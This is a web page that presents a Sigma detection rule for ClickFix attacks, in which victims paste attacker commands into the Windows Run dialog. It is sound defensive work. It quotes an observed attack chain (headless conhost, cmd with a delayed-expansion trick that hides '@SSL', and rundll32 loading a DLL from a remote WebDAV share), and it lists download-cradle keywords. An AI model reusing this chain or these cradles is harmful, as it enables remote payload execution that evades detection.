T1204.004 Malicious Copy and Paste: ClickFix Run Dialog Execution

Terminal execution stage of a ClickFix lure, where the victim pastes an attacker command into the Windows Run dialog and the resulting process descends from explorer.exe rather than from a browser. Three conditions are matched, any one of which is sufficient. (1) An interpreter spawned directly by explorer.exe carrying a download-cradle or encoded-command argument. (2) conhost.exe launched by explorer.exe with --headless, which suppresses the console window so the victim sees nothing execute; the interpreter is then a child of conhost rather than of explorer, moving the parent-child relationship one level down. (3) Any command line referencing a WebDAV-over-HTTPS UNC path (@SSL), which stages a payload from a remote share over 443 without a conventional file download. Observed chain: explorer.exe -> conhost.exe --headless -> cmd.exe /v:on /c "set s=@SSL & pushd \\\\<random>.<lookalike-domain>!s!\\<guid> & rundll32 <random>.dll,Run". The delayed-expansion construction, /v:on with set s=@SSL then !s!, splits the @SSL literal so it never appears contiguously in the command line, defeating naive string matching on the UNC. Because delivery is user-driven copy-paste, download-reputation and attachment controls never engage. Pair with the T1102.001 EtherHiding rule for the preceding retrieval stage.

Rule ID

faba6570-de89-502f-9038-837bdf954604

Status

experimental

Level

high

Log source

category: process_creation · product: windows

Date

2026-08-11

Modified

2026-08-11

ATT&CK

T1105 , T1204.004 , T1218.011 (signal rollup)

Canonical YAML

t1204-004-clickfix-run-dialog-execution.yml

References

• https://thrunt.me/sigma/t1204-004-clickfix-run-dialog-execution.yml
• https://attack.mitre.org/techniques/T1204/004/

False positives

• Administrators and power users legitimately pasting one-liner installers or remediation commands into the Run dialog. Real in engineering and IT populations; rare elsewhere. Baseline per user segment before promoting past experimental.
• Software deployment or onboarding documentation that instructs staff to run a PowerShell one-liner via Windows+R. If this pattern exists internally, allowlist the specific command text rather than weakening the rule.
• Endpoint management and RMM agents that shell out through explorer.exe in a user session.
• Environments that genuinely use WebDAV over HTTPS for file shares will match selection_webdav_exec on legitimate traffic. This is uncommon in enterprises but not unheard of; confirm before deploying, and scope to non-server endpoints if it fires.
• Developer tooling that legitimately pipes a script from jsDelivr or raw.githubusercontent.com into PowerShell. Rare, those CDNs serve browser assets and repository files, and fetching them into an interpreter is close to definitionally a cradle, but bootstrap scripts do exist. Allowlist by repository path rather than removing selection_code_cdn_cradle.

Rule YAML

title: 'T1204.004 Malicious Copy and Paste: ClickFix Run Dialog Execution'
id: 'faba6570-de89-502f-9038-837bdf954604'
status: 'experimental'
description: 'Terminal execution stage of a ClickFix lure, where the victim pastes an attacker command into the Windows Run dialog and the resulting process descends from explorer.exe rather than from a browser. Three conditions are matched, any one of which is sufficient. (1) An interpreter spawned directly by explorer.exe carrying a download-cradle or encoded-command argument. (2) conhost.exe launched by explorer.exe with --headless, which suppresses the console window so the victim sees nothing execute; the interpreter is then a child of conhost rather than of explorer, moving the parent-child relationship one level down. (3) Any command line referencing a WebDAV-over-HTTPS UNC path (@SSL), which stages a payload from a remote share over 443 without a conventional file download. Observed chain: explorer.exe -> conhost.exe --headless -> cmd.exe /v:on /c "set s=@SSL & pushd \\\\<random>.<lookalike-domain>!s!\\<guid> & rundll32 <random>.dll,Run". The delayed-expansion construction, /v:on with set s=@SSL then !s!, splits the @SSL literal so it never appears contiguously in the command line, defeating naive string matching on the UNC. Because delivery is user-driven copy-paste, download-reputation and attachment controls never engage. Pair with the T1102.001 EtherHiding rule for the preceding retrieval stage.'
references:
    - 'https://thrunt.me/sigma/t1204-004-clickfix-run-dialog-execution.yml'
    - 'https://attack.mitre.org/techniques/T1204/004/'
author: 'Applied Cybernetics Group (via thrunt.me)'
date: '2026-08-11'
modified: '2026-08-11'
tags:
    - 'attack.execution'
    - 'attack.t1204.004'
    - 'attack.defense_evasion'
    - 'attack.t1218.011'
    - 'attack.command_and_control'
    - 'attack.t1105'
    - 'tlp.clear'
logsource:
    category: 'process_creation'
    product: 'windows'
detection:
    selection_run_dialog:
        ParentImage|endswith: '\explorer.exe'
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\cmd.exe'
            - '\mshta.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\curl.exe'
            - '\rundll32.exe'
    selection_payload_fetch:
        CommandLine|contains:
            - '-enc '
            - '-EncodedCommand'
            - 'FromBase64String'
            - 'IEX('
            - 'Invoke-Expression'
            - 'DownloadString'
            - 'DownloadFile'
            - 'Invoke-WebRequest'
            - 'Invoke-RestMethod'
            - 'iwr '
            - 'curl.exe -'
            - 'msiexec /i http'
            - 'mshta http'
    selection_headless_console:
        ParentImage|endswith: '\explorer.exe'
        Image|endswith: '\conhost.exe'
        CommandLine|contains: '--headless'
    selection_webdav_exec:
        CommandLine|contains:
            - '@SSL\'
            - '@SSL@'
            - 'DavWWWRoot'
    selection_code_cdn_cradle:
        CommandLine|contains:
            - 'irm cdn.jsdelivr.net'
            - 'iwr cdn.jsdelivr.net'
            - 'irm raw.githubusercontent.com'
            - 'iwr raw.githubusercontent.com'
            - 'Invoke-RestMethod cdn.jsdelivr.net'
            - 'Invoke-WebRequest raw.githubusercontent.com'
    condition: '(selection_run_dialog and selection_payload_fetch) or selection_headless_console or selection_webdav_exec or selection_code_cdn_cradle'
falsepositives:
    - 'Administrators and power users legitimately pasting one-liner installers or remediation commands into the Run dialog. Real in engineering and IT populations; rare elsewhere. Baseline per user segment before promoting past experimental.'
    - 'Software deployment or onboarding documentation that instructs staff to run a PowerShell one-liner via Windows+R. If this pattern exists internally, allowlist the specific command text rather than weakening the rule.'
    - 'Endpoint management and RMM agents that shell out through explorer.exe in a user session.'
    - 'Environments that genuinely use WebDAV over HTTPS for file shares will match selection_webdav_exec on legitimate traffic. This is uncommon in enterprises but not unheard of; confirm before deploying, and scope to non-server endpoints if it fires.'
    - 'Developer tooling that legitimately pipes a script from jsDelivr or raw.githubusercontent.com into PowerShell. Rare, those CDNs serve browser assets and repository files, and fetching them into an interpreter is close to definitionally a cradle, but bootstrap scripts do exist. Allowlist by repository path rather than removing selection_code_cdn_cradle.'
level: 'high'

The YAML file is the rule, and this page displays it. Scripts should read /sigma/manifest.json and fetch t1204-004-clickfix-run-dialog-execution.yml directly. The intel context for every rule is in /sigma/evidence.json, keyed by slug.